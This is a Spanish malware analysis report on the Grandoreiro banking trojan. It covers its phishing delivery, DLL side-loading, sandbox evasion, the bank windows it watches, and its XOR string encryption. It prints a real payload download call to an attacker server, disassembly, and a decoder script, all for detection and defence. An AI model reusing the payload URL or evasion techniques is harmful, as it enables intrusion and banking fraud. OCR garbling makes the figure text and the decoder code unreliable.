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1. Sobre este estudio

Este estudio contiene los resultados del analisis conducido sobre el troyano bancario
Grandoreiro, también conocido como Delephant. Como troyano, este malware esta
disefiado para tener multiples utilidades, la mas comun es crear una backdoor en el equipo
infectado, para poder descargar actualizaciones y nuevas funcionalidades.

El objetivo del estudio reside en reunir la informacién necesaria para poder identificar las
caracteristicas propias de esta amenaza asi como su comportamiento y técnicas
empleadas, permitiendo la trazabilidad con futuras versiones del mismo malware, o la
posible nueva afectacion a otras entidades del sector financiero, o incluso de otros
sectores.

Adicionalmente, se tiene constancia de la extension de operaciones con este malware a
Europa, incluyendo Espafia y Portugal, estando activo desde 2015 en América Latina.

Las acciones realizadas para su elaboracion comprenden un analisis dentro de un entorno
controlado. La informacién general obtenida es que Grandoreiro consiste en un troyano
desarrollado en Delphi, un lenguaje de programacién muy popular entre el malware
brasilefio. Se distribuye por medio de campafias de correo electrénico (phishing), que
contienen adjuntos malicioso o enlaces que redirigen a paginas web fraudulentas que
alertan al usuario para instalar falsas actualizaciones de aplicaciones Java o Flash.

Una vez descrito su modus operandi a bajo nivel, se aportan una serie de contramedidas
para detectar este troyano y, llegado el caso, desinfectar el equipo afectado.
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2. Organizacion del documento

Este documento consta de una parte de 3.- Introduccion en la que se expone el tipo de
amenaza que representa el troyano Grandoreiro, mencionando su origen, posterior
expansién y adaptacion.

A continuacion, en el apartado 4.- Informe técnico se recoge informacién detallada sobre
las vias de infeccion empleadas por este troyano, el lenguaje en el que esta programado,
sus funcionalidades y modo de actuacion, detallando paso a paso el proceso de infeccion,
asi como los métodos de proteccién utilizados por el propio Grandoreiro para evadir los
controles de seguridad.

Posteriormente, en el apartado 5.- Deteccion y desinfeccién se aportan recomendaciones
y acciones para detectar la amenaza Grandoreiro, asi como el proceso de desinfeccion.

Finalmente, el apartado 6.- Referencias aporta las referencias consultadas a lo largo del
analisis.

Adicionalmente, el documento cuenta con dos anexos: en el Anexo 1: Indicadores de
compromiso (IOC) se recogen los indicadores de compromiso (IOC) asociados a
Grandoreiro, y el Anexo 2: Reglas Yara de deteccién consta de las reglas de Yara para la
deteccidén de muestras maliciosas de este troyano.
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3. Introduccion

Grandoreiro es uno de los varios troyanos bancarios procedentes de Sudameérica que han
extendido sus operaciones a otras regiones, sobre todo a Europa. Segun investigadores
de ESET, ha estado activo desde el afio 2015 afectando a paises de América Latina,
principalmente a Brasil, pais en el que se desarrollo.

Los investigadores destacan la velocidad con la que sus autores actualizan el cédigo del
mismo, e incluso sospechan de la existencia simultanea de dos variantes, expandiéndose
internacionalmente en 2019 a bancos de Espafia, México y Portugal, asi como adaptando
la temdtica de sus campafias de distribucibn aprovechando las campafias de
desinformacién y bulos en torno al COVID-19 durante el auge de la pandemia,
especialmente en el afio 2020.
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4. Informe técnico

4.1. Vias de infeccion

El proceso mas habitual de infeccion con el troyano consta de varias etapas; comienza con
un correo recibido por el usuario, que contiene una URL de acceso a una pagina
fraudulenta. Accediendo al enlace proveniente del correo fraudulento recibido, el usuario
descargara el primer elemento del proceso. Se trata de un fichero instalador que, a su vez,
descargara la carga util que contiene el troyano bancario. Sin bien es cierto, en alguna
ocasién pueden llegar como adjuntos al correo electrénico.

Email con enlace Acceso alaweb Descarga fichero Ejecucion del
malicioso. fraudulenta. comprimido. fichero instalable.

ttp//

_&\ﬁ wes mes
@( R o zw’-’ M|

Malware descarga Ejecuta el EXE con Compromiso Recoleccion de
datos y los descifra. ~ DLLmaliciosa. del sistema. datos bancarios.

Figura 1: Proceso de infeccion del troyano bancario Grandoreiro

4.2. Lenguaje de programacion, funcionalidades y modo de
actuacion

Grandoreiro en un troyano bancario cuyo nombre fue dado debido al gran volumen de los
binarios generados por los atacantes, siendo superiores a 250 MB. Este hecho dificultaba
el andlisis en las diferentes plataformas o sandboxes online, ya que superaba con creces
el limite permitido.

En el compromiso del usuario intervienen varios binarios. Se parte del binario inicial que es
descargado por la victima. Se trata de un fichero comprimido que alberga un instalador.
Dentro del mismo (extension msi) se encuentra la dll (sha256sum:
58084c86acd68c83d84802ef8daa9cdfefdcf34d7falb9ale04c4cal24e58382) maliciosa

ESTUDIO DEL ANALISIS DE GRANDOREIRO 8 TLP:WHITE
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que actua de downloader (malware que descarga desde Internet la amenaza en el equipo
de la victima). Este binario esta programado en Delphi y compilado con Borland Delphi 7.

compiler Borland Delphi(7)[-]

linker Turbo Linker(2. 25%,Delphi) [DLL3Z]

Figura 2: dll downloader compilada con Borland Delphi 7

La segunda dll (sha256sum:
35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a) y de la
que se hablara mas adelante en el estudio, seria la perteneciente a la familia del troyano
bancario Grandoreiro.

Como la anterior, programada en Delphi y compilado con Borland Delphi 7.

compiler Borland Delphi(7)[-]

linker Turbo Linker(2. 25%,Delphi) [DLL32]

Figura 3: dll troyano compilada con Borland Delphi 7

> C @ virustotal.com/quiffile/ed60e39e21a847 Tbc2cc209bed2f9409a685FFFF16¢6bb63041d426b17b40F1

ed60e39621a8477bc26c209bcd29409a685 fff16c6bb63041d426b17b40f1 Q ~
\19 (1) 18 security vendors and no sandboxes flagged this file as malicious o X
ed60e39e21a8477bc2cc209bCd2f9409a685 11T 16c60b63041d426b17D40f 1 63710 KB 2022-01-3106:57:32 UTC 4
Archiv.Endes.Fact3101rar e Zdays ago RAR
rar
% Community 1

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

AhnLab-V3 (@ Trojan/Win.Generic.C4634343 Arcabit (D Trojan Fragtor.DD765

Avast (@ Win32:DropperX-gen [Drp] AVG (@ Win32:DropperX-gen [Drp]

BitDefender (@ Gen:Variant.Fragtor.55141 ClamAV (@ WinDownloaderZusy-9917016-0

Cyren (@ Wa2/Banload FP.genEldorado Emsisoft (@ Gen:Variant.Fragtor55141(8)

eScan (@ Gen:Variant Fragtor.55141 ESET-NOD32 @ AVariant Of Win32/TrojanDownloader Ba...
Fortinet (D) w32/Banload YSTitr.didr GData (D) Gen:Variant.Fragtors5141

Kaspersky (D) HEUR:Trojan-Downloader\Win32Banioad.... Malwarebytes (@) Malware Al.3797257663

MAX (D Matware (@i Score=88) Trellix (FireEye) (@ GenVariant Fragtor55141

VBA32 (D BScope.TrojanDownloader.Banload ZoneAlarm by Check Point (@ HEURTrojan-DownloaderWin32Banload....
Ad-Aware () Undetected Al¥ac () Undetected

Figura 4: Muestra origen del anélisis

En este caso, se trata de un fichero comprimido. Dentro del mismo se encuentra un
instalador (msi), que ser& el encargado de descargar la parte util (payload) que contiene el
troyano bancario.

En la dll embebida, se observa dénde se ubica la URL y donde se encuentra la carga (util,
gue se encuentra cifrada para no ser detectada desde un principio por herramientas de
andlisis.
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[Exports]

nth paddr vaddr size name

Gabinow.dll TILLITTFFDCC

h#t#tap

int32
uint32

Figura 5: URL de descarga de troyano final

Pero antes, se comprueba el lenguaje del usuario, no aceptando usuarios con lenguaje en
inglés, de ser asi finaliza el proceso. De esta manera, se aseguran de que el destinatario
esté entre sus objetivos, y evitarian que se ejecutara de forma usual en cualquier
plataforma de tipo sandbox cuyo lenguaje sea el inglés.

Cenn beavepaoniie
=

sub_48ADEG proc near
push  ebx

Tt (_festcall ©)(in)System::_linkproc__ LStrToPChar)(v37); push  esi

v7, "English”) ) mov  esi, eax

| Halte(); mov  eax, ds:nSize
call  Gettiem
TOINT ae 1nt52))5ystem::_ linkpro rchsg) (&dword 561438, v43); mov  ebx, eax

1) (int) ysub_dBNgea)
nt =, _strifg

(vB);

"))System:: _linkproc__ LStriAsg) (&30,

call  GetSystemDefaultLangID
movzx  eax, ax

3346546774_z1[1]);

mov edx, ds:nsize
4BAFEB)INT) push edx ; nsize
H G T =
Pai push  eax 5 wlang
3 int *, int, int, _: *, int))System::_ linkproc__ LStrCatN)(&v48, 3, vig, &str_[1] CODE call VerL |
t **))sub_4BAAFE, mov. edx, esi
75 T
76 t *, int, int, _: , int))System::_ linkproc__ LStrCatN)( call  strPas ; BDS 20@5-2007 and Del
7 H i mov eax, ebx
: Si es English, sale del programa Tt
79 Vi1, pop esi
80 &str__ 27[1], pop ebx
dword_561438) ; retn
82 if ( (unsigned ints) utils::DirectoryExists(System AnsiString) ) sub 43ADBE_endp

Figura 6: Comprobacion del lenguaje del usuario

Una vez dispone la URL en el formato correcto, eliminando caracteres de relleno, descarga
el fichero que se muestra a continuacion.
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« C @ O 8 149.56.251.1:51551
S User—— ] " -
I [ e extension | size | Tmestamp | hits |
D [EN esgrime.zip 6.5MB 1/28/2022 5:56:58 AM 517
r~Foder— ]
(] Home

0 folders, 1 files, 6.5 MBytes

L s

[ & Select

"@Seamhi

\EH \nvert‘HMask.\

0 items selected

bl Actions

| Archive | | Get list ‘

- 99 server information
HttpFileServer 2.3m
Server time: 2/1/2022 10:38:13 PM
Server uptime: (2 days) 03:26:03

Figura 7: Servidor que aloja la carga util

La dll se encarga de descargarlo y completar el c4digo para que pueda ser descomprimido
posteriormente en la ruta esperada. Los atacantes se aseguran de que en el servidor se
registre el lenguaje del usuario, ya que esta destinado a usuarios espafioles. Afiaden el
lenguaje a la URL y utilizan la funcién de la APl URLDownloadToFile:

URLDownloadToFile(http://149.56.251.1:51551/esgrime.zip?Espaiiol (Espaia,
internacional), C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip)

Siendo C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip la ruta donde
serd almacenado.

& Menu | f:l‘ Port: 51551 | @ You are in Easy mode |

{@ Openin browser http://149.56.251.1:51551 /esgrime.zip 1] Copyto clipboard
Virtual File System Log
o/ 15:04:36 Check update: failed

- B8 esgrimezip 15:06:18 149.56.251.1:1137 Requested GET /esgrime.zip?Espafiol (Espaiia, internacional)
16:06:18 149.56.251.1:1137 Fully downloaded - 6.5 M @ 52.0 MB/s - /esgrime.zip?Espafiol (Espafia, internacional)

Figura 8: Simulacion del proceso de infeccion

Después de varias operaciones matematicas basadas en XOR, se genera un fichero zip
en donde ya puede ser descomprimido quedando la dll ubicada junto al ejecutable (y otras
2 dll que necesita dicho ejecutable) que sera el encargado de lanzar el proceso de
infeccion. Se descifra el contenido del fichero descargado para descomprimirlo después,
dejando una serie de ficheros en el directorio.
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=l

m

Figura 9: Directorio con varios ficheros

La dll maliciosa es dbghelp.dil, que sera cargada como una dll mas por el ejecutable
solodriver.exe al encontrarse ubicada en el mismo directorio, este es el primer lugar en
donde sera buscada haciendo caso omiso a la legitima del sistema.

La aplicacion solodriver.exe es parte del software Advanced Installer 18.6.1 y es llamada
intune.exe.

Por lo tanto, utilizan una aplicacion legitima para cargar la dll maliciosa y esta es la que se
encarga de controlar que la ventana de la aplicacion principal no se vea, que permanezca
oculta, aungue en el momento de ejecutarse se muestre brevemente antes de ocultarse.

Si se elimina la dll maliciosa del mismo directorio donde se encuentra solodriver.exe y se
ejecuta este, podemos visualizar su aspecto real, el que oculta el troyano controlando las
ventanas existes en ejecucion.

Farmat Character - o/ st A5 B setting of GlR

[E=NNoR ~x=

Visual Web Developer Express

Slibai.dll Visual Studio Express for Windows Fhone

e
g

uires.dll

solodriver.exe

To continue didk Next.

Figura 10: Ventana de solodriver.exe sin la ejecucién de la dll
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Aparentemente, cualquier accién que desencadene la dIl parecerd que lo realiza
solodriver.exe, ya que ésta se encuentra en la memoria del ejecutable como otra dil mas.

-8 chusers', | \appdata\reaming\nowviewhsolod | property value property value
4 indicstors (49)” mds 41881 35AECFDESEETB3440255TAD13F3 mds 762F454463660DB20E9 C1605 DDS16EAL
P virustotal (warning) shal C1FA0BFO297CCASTOFARSFIGOSFIBTEO623CRI shal 2545097663A0977C BOSF2ACFIFCBAFFIDIARGEGS

E:Z;T:f;ﬁ;f:)ﬂ sha2s6 3020ABSESDFATSB1 74260CBCFAZES CAL AJFOCBE7U10A49 C361218D8363477035 sha2s6 SB21ECDDC509A2AEDT3148 DSFOE0BLD600 IS4 IIASCLAG
> rich-header (15) file-type executable valid-from 10/12/2013 - 00:00:00

> file-header (Aug.2021) date valid-to 09/12/2023 - 23:59:59

> optional-header (GUI) language English-US offset 0x000E1800

% directories (9) code-page Unicode UTF-16, little endian size 0+000019E0 (6624 bytes)

> sections (99.18%) CompanyName Caphyon LTD revision

&7 libraries (17) * FileDescription Advanced Installer Intune Tool type

7 imports (330) FileVersion 18610

5 InternalName Intune E’
¢ A 9 Caphyon LD pMGhts reserved. %-\ | <« Usuarios » » AppData » Roaming » nowview ~ [ 43| [ Buscar nowview 2]

- OriginalFilename

47 relocations (18662) ProductName
T resources (4) * Product
ate strings (size)

- 0O e

Organizar ~ Abrir Compartir con ~ Nueva carpeta
~ Nombre Fecha de modifica... Tipo Tamafio

7 Favoritos

fix debug (path)
B manies tsinvcken / 8 Descargas % dbghelp.dil 280120221022 Extension delaapl.. 260647 KE
/ B Escritorio | &y solodriver.exe 30/08/2021 13:00 Aplicacién 909 KB
G certificate (10/12/2013 - 09/12/2023) S Taentes % uires.dil BA4WIS1328  Extensionde laapl..  11443KB
0 %) zibaidl 30/08/20211907  Extension de la apl... 163KB
& solodriver.exe pFile Data  Descr Value
IMAGE_DOS_HEADER 00000124 014C  Machine IMAGE_FILE_MACHINE_I386
Advanced Installer 18. ase Notes IMAGE_DEBUG TYPE_ 00000126 0005 Number of Sections
MS-DOS Stub Program 00000128 612CF277 Time Date Stamp 2021/08/30 lun 15:00:07 UTC
& IMAGE_NT_HEADERS 0000012C 00000000 Pointer to Symbol Table
Signature 00000130 00000000  Mumber of Symbols
On August 30th, 2021 Caphyon Ltd. announced the release of Advanced Installer 18.6.1 00000134 00E0  Size of Optional Header
in Free, Professional, Enterprise and Architect editions. This release is available for IMAGE_OPTIONAL_HEADER 00000136 0122 Characteristics
: -IMAGE_SECTION_HEADER text 0002 IMAGE_FILE_EXECUTABLE_IMAC
download on the Advanced Installer website. IMAGE SECTION HEADER rdata 0020 IMAGE FILE LARGE ADDRESS

Figura 11: Aplicaciones en el directorio de ejecucion del troyano

La biblioteca dinAmica dbghelp.dll tiene un tamafio considerable, 255M, lo que dificulta el
analisis por parte de ciertas aplicaciones, ya que en muchos casos estan limitados a
binarios mas pequefios, como es el caso de muchas de las plataformas de analisis de
malware online.

Abriendo el fichero con un editor de recursos se deduce por qué es tan grande: existen 2
imagenes similares colocadas dentro, de tipo ISO.

B Resounce ocker - dbghap.di f=To e 3
e Ede i cton e 50:MEmDewK: 0% | + Toaming » nomiew » doghe » e » 086 » 50 < Too] [ Bisrs0
[ [ v
D) o2 ) [ B 02 e > 8@ e e oo
10 -— Normbre : Fechsdemociics.. T Tamato
IO 1066 e
. ZCCMWMGGO ; 1046 | L veonmwnx R0 Ao s
s o gl L ecanmsso SRR Ao woszm
e
Ton e
oty
St Tabe
Gurer G
on Group
antest

Sae: 7998 x 5567

- 0 = =
et e 150: 20 9% [ 4 Toamng o ro o ey 108 » 50 <oy B
- Dialog
DleBE w002 0wk e e ——— =
- =0 Nombre : Fecha de modifica..  Tipe Tamario
. E0IDBINDK : 1046
 ZcowmGGo 0 g IR aDIOBWDK sz 10z e 10455 k8
=3 = = L [ zcceummceo SOUNRI02 Ao nos2 K8
xn s il
Dsiog —
| sima Tabe
sy
| oo Group
a0 Grovp
17 s See: 9031 5093 booat: b boeAGE

Figura 12: Iméagenes ISO en su interior que hacen que el fichero sea mas grande de lo habitual
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La primera, MBJDJDBHWDX.bmp, ocupa 128 MB mientras que la segunda,
ZCCFMYWMGGO.bmp, pesa 118 MB.

Como la campafa va destinada a usuarios de Espafia y Portugal, busca que la
configuracién del lenguaje sea del pais.

CODE : @3DADBFD mov eax, [ebptvar 488]
CODE : @8DADIB3 mov edx, offset _str_Portugu_s_ Port.Text |; Pertugués (Portugal)
CODE : @3DADIBE call @system@@LstrCmpSqqrv ; System::_ linkproc__ LStrCmp(woid)
CODE : @8DADIED jnz loc_DADAFR

Yl DLanoa o | ] r

Figura 13: Comparando el lenguaje principal con el portugués

> jmp BBDADAFF
>BODAAFCC moy eax,[oDDBECA]
mou edz,dword ptr [eax]
call dword ptr [edz+30]
cmp al.i
> jne BBDAAFEY
E{i] g eax,eax
pop edx
pop ecx
pop BCH
mov dword ptr fs:[eax],edx
> jmp 88DADAFF
>BBDAAFEY lea eax,[ebp-18]
call GBDAZFES
mouy eax,dword ptr [ebp-18]
mouy edx, BDADBRE
call EBLStrCmp
> jne 88DAB2A89
lea edz,[ebp-241]

Figura 14: Comparando el lenguaje principal con el espafiol

En la Figura 15 se observa el uso del componente RTC Portal. Este componente esta
disefiado especialmente para control remoto de escritorio, intercambio de ficheros y
aplicaciones de tipo chat. Como en su propia pagina web puede leerse, “RealThinClient
SDK es un marco flexible y modular para crear aplicaciones multiplataforma confiables y
escalables con Delphi, disefiado para la Web mediante el uso de HTTP/S con
compatibilidad completa con IPv4 e IPv6 y subprocesos multiples incorporados,
ampliamente probado para garantizar la maxima estabilidad. Mediante el uso de
comunicacion basada en eventos sin bloqueo con agrupacion de subprocesos integrada,
las aplicaciones creadas con RealThinClient SDK pueden manejar miles de conexiones
activas mediante el uso de una cantidad limitada de subprocesos en un entorno real de
subprocesos multiples, en todas las plataformas compatibles.”
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-TRtcObject #005885FC Sz=4

- TRtcHttpUalues HOB58A1BC Sz=24

- TRtcHttpHeader HOB58A24C Sz=C

.. TStringObject #805AD2608 Sz=8

.. TStringArray #OO5AD2FO Sz=8

..TUploadFileObject #OO5AD3SC Sz=10

..tBinList HOOSBAB7Y Sz=uC

.- EX0bjList #085BBAUC Sz=1C

- TRtcBaseMessage #OB5BBSAB Sz=4

- TRtcThreadCallback #8085BB968 Sz=4

- TRtcThread #005BB9FC 5z=18

-TRtcTimer #005BD2CB Sz=24
-TRtcConnectionProvider #085BE3SC Sz=A9

- TRtcFunctionList #805C33BC Sz=8

- TRtcCommandInfo #885C341C Sz=18

- TRtcClientRequestInfo #OO5C47F8 Sz=8
TRtcDataClientLinkList #885C4A04 Sz=8
TRtcInteractiveResult #885CBDSC Sz=18
TRtcClientHoduleData HOB5CBF3C Sz=14 Captura de escritorio remoto
TRtcPHoduleList #885D13DC Sz=8
TupdateRegionBase #OOCBEY98 Sz=4
TUideoDriver #BBCBEYF8 Sz=60C
TRtcScreenEncoder HOBCC3CCY4 Sz=BC
TRtcScreenCapture HOBCC3DAC Sz=D8
tBinTree #OBCCDCF8 Sz=58
TRtcHWNDPoolUnit #OBCCF808 Sz=4
TRtcSocketBase HBOCCFDCH Sz=78
TRtcSockBaseUnit #00CDO328 Sz=4
TRtcSocket #OOCD24M4 Sz=158
TBaseSockhessage #BOCD785C 3z=38
THMySockBaseSyn HBBCDBF9C Sz=4
THySocKketCliProvunit #OBCDCFA4 Sz=4
THYWinHTTP #BBCEZE98 Sz=4
THyWinInet #OOCE7004 Sz=4

Intercambio de informacion via HTTP

— Intercambio de informacion via Sockets

Figura 15: Ejemplos de uso del componente RTC Portal

Cuando se inicia la aplicacién se crean una serie de timers que irAn comprobando de forma
periddica lo que esta ocurriendo en el equipo, ademas de ocultar la aplicacion que se utiliza
para la carga de la dll.

CODE 1 0uDBI6/C
CODE:90DB367C Oculta_lanzador_solodriver_exe proc near

CODE :@8DE367C 5 CODE XREF: _TALONH1_TimertideHandleTimerip

CODE :88DB367C push  ebx

CODE :20DB3670 push  offset avisualStudioUl ; "visual Studic Ultimate”

CODE :28DB3682 push  offset a3277e_1 ; "#32778" BOOL Showindow(
CODE :9BDB3687 call  Findiindowa

[in] HWND hwnd,

CODE : 6BDB368C test  eax, eax
CODE :08DB368E jz short loc_DB369R [in] int nCmdShow
CODE :88DB3690. push  © 3 5W_HIDE )
CODE : 6BDB3632 push  eax 5 hidnd
CODE : @0DE3693 call  Showiindow
CODE : RDE3605
CODE:@@DE3698 loc_DE3695: 5 CODE XREF: Oculta_lan2 solodriver_exe+121:
CODE : @RDB3695 mov eax, ebx
CODE : RDB36IA pop
CODE :62DB3698 retn
CODE:6@DB3698 Oculta_lanzador_solodriver_exe endp SW_HIDE Hides the window and activates another window.
CODE : 68DB3698
€ODE :@BDB36UB ; —- -~~~ -~~~ oo 0

; const CHAR aVisualStudioUl[]

aVisualstudioUl db 'Visual Studio Ultimate',®

; DATA XREF: Oculta_lanzador_solodriver_exetlto
align 4
5 const CHAR a3277@_1[]
a3277@_1 db '#32770",0 Oculta_lanzador_solod
align =

CODE :@PDB3I6BC ; == SUBROUTIMNE -

CODE : BBDB368C
CODE : BBDB368C
CODE:88DB368C _TALONH1_TimerHideHandleTimer proc near ; DATA

CODE : 88DB36BC 5 TTimer_(
CODE:00DB365C call  Oculta_lanzader_solodriver_exs
CODE:28DB36C1

CODE:@eDB36C1 _TALOMH1_TimerHideHandleTimer endp

Figura 16: Busca la ventana de solodriver.exe para ocultarla

Primero busca con la APl FindWindowA la ventana con el titulo “Visual Studio Ultimate” y
si la encuentra, utiliza su manejador o handle para ocultarla con ShowWindow.
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By | @oso | rioa | [nows | @ Breskooints | ¥ Mapadememoria | () Piace lamadas | =nSE | o) seipt | @] simbolos | < Fuente |  Referencas | ' Hios | 7 snowm
E1P; . BBEE ngaxgheggéem Findwindowa N
BBEC mov ebp,esp EAX  0041585C
ggco gaghe:;;ea* [ EEx ooszzzes
FF75 0C push dword ptr ss:[ebp+c] ECX L T Do
FF75 08 push dword ptr ss:[febp+s] EDX  004222F4
50 push eax EBP  12D3F758
50 push eax ESP  12DIFTIC
E8 2CFFFFFF call user22.7501FF27 ESI  00S83FFOD dbghelp. 009BIFFO
5D pop ebp EDI  0D00000D
C2 0200 rer =
8B5S 1B mov edx,dword ptr_ss:[ebp+1s] EIP  7501FFES <user3z.Findwindowas
8955 DO mov dword ptr ss:[febp-30],edx
8855 14 mov edx, dnard prr ss:[ebp+ 1ol e IRC G000 0F
A I2n e ZF 0 PF1 AF O
s OF 0 SF O DF O
push edx
8D55 DO Tea edx,dword ptr ss:[ebp-30 | CF 0 TF 1 IF 1
<> nush erix
= } | actErrar  ARAAAAnn rEBBRE Siecsoey
=0 Por defecto (stdcall)
1: [espr4] 01333684 "#32770"
2: [esp+8] 0133363C "Visual Studio Ultimate”
.text:7501FFE6 user32.d11:$1FFEE #103E6 <FindwindowA> 3: [esp+C] 004222F4
4: [esp+10] 013336C1 dbghelp.013336C1
5: [esp+l4] 003BA00Z dbghelp.009BA0DZ

Figura 17: Buscando la ventana para ocultarla

Otro de los procesos periddicos consiste en comprobar que se accede a los bancos, se
busca una serie de cadenas en las ventanas activas.

GetWindowText® = &"Microsoft Network Monitor™
GetWindowTextR = &"Santander™
GetWindowTextk = &"Netbanco Particulares”
GetWindowTextd = &"Home Banking™
GetWindowTextR = &"Banco Mediclanum"
GetWindowTextd = &"Openbank™
GetWindowTexth = &"BBVA"™

GetWindowTextR = &"CaixaBank™
GetWindowTextd = &"Banca Digital™
GetWindowTexth = &"Caja Rural™
GetWindowTextd = &"Empresas | BANEINTER™
GCetWindowTexth = L"Bankiz.ea™
GetWindowTextR = &"Bankia™
GetWindowTextk = &"BANE1R™
GetWindowTexth = &"ING | Banco online™
FerWindowText® = &"Liberbank™
GetWindowTextd = &"Unicaja™
GetWindowTextR = &"Hazte cliente -"
GetWindowTextd = &"Ibercaja™
GetWindowTexth = L"CATXRGUISSONE cnline™
GetWindowTexth = &"Cajasur Particulares™
GetWindowTextd = &"Cajasur Empresas™
GetWindowTextd = &"Cajasur Banca Personal™
GetWindowTextd = &"CajaSur - Home™
GetWindowTexth = &"EVD Banco™
GetWindowTexth = 27272

GCetWindowTextd = 27272

GetWindowTexthk = "\ f£ZB"

GetWindowTexth = &"Banca Personal | Global Bank™
GetWindowTextR = &"Multibkank™
GetWindowTexth = &"ActivoBank"™
GetWindowTextR = &"Banco BEI™
GetWindowTexth = 27272

GetWindowTextd = &"Banco Montepio™
FetWindowTextR = &"novocbanco™

Figura 18: Ventanas buscadas asociadas a los bancos espafioles

GetWindowsTexth = &"Microsoft Network Monitor™
GetWindowsTextA = &"Banco do Brasil™
GetWindowsTexthk = &"Banco bradesco™
GetWindowsTexth = &"Banco Bradesco™
GetWindowsTexth = &"CAIXR -"
GetWindowsTextA = &"Santander"
GetWindowsTextk = &"Internet Banrisul™
GetWindowsTextA = &"Banco Safra™
GetWindowsTexth = 7727

EetWindowsText? = &"Mercado Pago |™
GetWindowsTexth = &"Internet Banking ENB"
GetWindowsTextRA = &"Banco Original™
GetWindowsTexth = &"UNICRED™
GetWindowsTexth = &"agibank._com.br"
GetWindowsTexth = &"Internet Banking Banco Inter”™
GetWindowsTexth = 2727

GetWindowsTexth = 7727

GetWindowsTexth = 2727

GetWindowsTexth = &"Banese™
GetWindowsTexth = &"Banestes"™
GetWindowsTexth = 277

GetWindowsTexth = &"Portal Daycowval™

Figura 19: Ventanas buscadas asociadas a los bancos portugueses
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No todas las cadenas se encuentran accesibles directamente en el binario, sino que
cuando se necesitan, se descifran siguiendo un algoritmo basado en XOR. Para ello se
tiene en cuenta la cadena cifrada con una clave. Se recorre la cadena y va realizando
operaciones caracter a caracter teniendo en cuenta su posicion actual y la anterior entre
ambas.

@ preaigonts | M8 Mapadememoria | () Piade lamadas | =3 sEn

.

@ sinbdos | ¢ Fuente | 2 Referencas | tios | 7 snowman | i Reursos | ¥ Trace |
oe

o ot Tes eex, dword per Z=rlen o0 = A
= pestcac D6 D ocuttar_rru
25 02000000 hov ecx,2 . P

55 EC oy i dword ptr == 5
soas r mov Caxdwerd per 127206755650 B
£ asarsrr dbghefp. 14535 3
850 Ct acx, dword ptr xor D6,D = 92 onacae

ici iopff S3F  1marsas

54 C8015001 92 - 24 (24 es la posicion anterio
Soaz c — 7 ooomood e
& Eendeerr =6E->n [or_ceooort |
S5 5 P TTTOTTIT——amaETR.
- Enp 21 dword per <
™0z jge dbghelp. 150010 EFLAGS 00000212

o) jncyest zF o o AF L

0 lioo Gighelosonin
BE 01000000 mov_ es1 0F 0 SF O DFO
8845 E4 mov cax,dword ptr bp-1cff [ebp-1C] : "F5 45 4DNBVXCCE FDIEFMNEVD CMNXC EVXD SCMBK JHGFM CFO TFO IF 1
Ofgees0 Fr Tovex cax,byte ptr

C3 Xor eax ebxy ” LastError 00000002 (ERROR_FILE_NOT_FOUND)
8945 E8 mov dword ptr ss:lfebp-1s], eax LastStatus COODDOOF (STATUS_NO_SUCH_FILE)
387D E8 cmp_cdi,dwerd pi bp-18]
7o $1°abgnéi: 1506152 Gs ooze s o053

% o ey dword b bp-16 S5 ooz b3 oose
55 ‘Ero00000 oo cax, EZEE
28C7 sub eax,edi &
eostes mov dword prr_ss:febp-1l, exx ST(0) 00000000000000000000 5770 Vacio 0.0000000
297D g8 ST(1) 00000000000000000000 X87rl vacioc 0.0000000
Soaeya: 5T(2) 00000000000000000000 x87r2 Vacio 0.0000000
8855 €8 ST(3) 00000000D00DOD00D0DD XB7r3 Vacio 0.0000000
E8 AB4EFSFF ST(4) 3FFF2000000000000000 x87r4 vacio 1.0000000
8855 €O ST(5) 3FFF8000000000000000 X87r5 vacie 1.0000000
a5 Fo [ebp-10] : "santa” B ST(8) 3FFFS000000000D00000 X87r6 Vacio 1.0000000
E8 SD47FSFR Ahade caracter al string decodificado ST(7) 3FFFB000000000000000 X87r7 Vacic 1.0000000
Gors
8345 EC 02 ~ e x87Tagword FFEF
8845 FC [ebp-4): 22304427 AE2406759850 ™o 3 (vacio) x7THL 3 (vacio)
3845 EC np e dn tr X87TW_2 3 (vacio) X87TW_32 3 (vacio)
3tar Tarererr 55" dbane 1. 1500006 xeTTW4 2 (vacio) 87Ts 3 (vacio)
St 13 ) e xerTw_s 3 (vacio) Xernr 3 (vacio)

855 _Fo mov_cdx,dword prr <. i
R F74sESEE £aT1_dhaheln. 1854554 Por defecto (stdal)

im
.Y 1t [esp+4] 01500140 dbGRETp. 015003A0
ssc

== = R
vord pre Lebp-so3-Lrzmarsaci-oonesoec B sins oy = o] e eaooros RSN
5: 3

CODE: 01500135 dbghelp. d11: $80135 #AFS35 5330A427AE24D6759850 |[000) 23 50 A4 27 AE 2Z] D6 75 98 5D FOvesOul] Feibris] oonessas
whvocado 1 | g volcac 2 | W Vocado3 | W volcado 4 | Wiovolcado's © D5004 Docoder 205120 | dbghelp. 01500140
Direcc o | (¥ P iy osreac
Tapars i |68 P 00 00]00 55 00 00|16 S0 A6 00[ZA 00 05 p| M . | egutring to Hox 000000
52 33| 32 20 ot el £208D4 | dbghep. 01£208D4

S bE ol rEiBa it e n s oi po.c - Hexto Sting Siguiente letra a anadir a la cadena

[ebp-10] :"Santa”

b
12D8F894 | A0 D8 12 |E5 DA DE 4 FD D8 12
1205754 |22 DB BE 03| Zi_£D Di iz 00 00 00 00| EO_oF 4a 03

=  XOR (Hex) [AS

"523"

SETVoTver a dbgneTp:OLIEZESE de 777
&72330A327AE24D675 985D
"'ES 45 4DNBVXCCE FD3EFHNBVD CMNXCEVXDZCHBK THGEM ™

“santa”

1308F514(00 00 00 00[00 OO 00 00(00 0O 00 00|00 00 00 00 ¥ Hex view

Comwvert #O@$0ul]

1208F964(00 00 00 00|00 00 00 00[00 00 00 00|00 00 0O 0D

def decode hex string(data enc,key):
data dec = str()
data _enc = binascii.unhexlify(data enc)
prev = (data enc[0])

for i,c in enumerate(data enc[1:]):
x = ¢ ~ ord(key[i % len(key)])
if x < (prev):
X = X + 255 - prev
else:
= prev

X - 255
_dec += chr(x)

return data dec

Figura 21: Algoritmo de descifrado de las cadenas

data="2330A427AE24D675985D"
key="F5454DNBVXCCEFD3EFMNBVDCMNXCEVXD3CMBKIHGFM"

Figura 22: Cadena a descifrar y clave que utiliza
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call A04AF3BE
push duvord ptr [ebp-158]
push BDRS458
push BDAS398
lea eax,[ebp-140]
nou edx,5
call ELStrCatN
nov eax,dword ptr [ebp-148]
call FileExists
test al,al

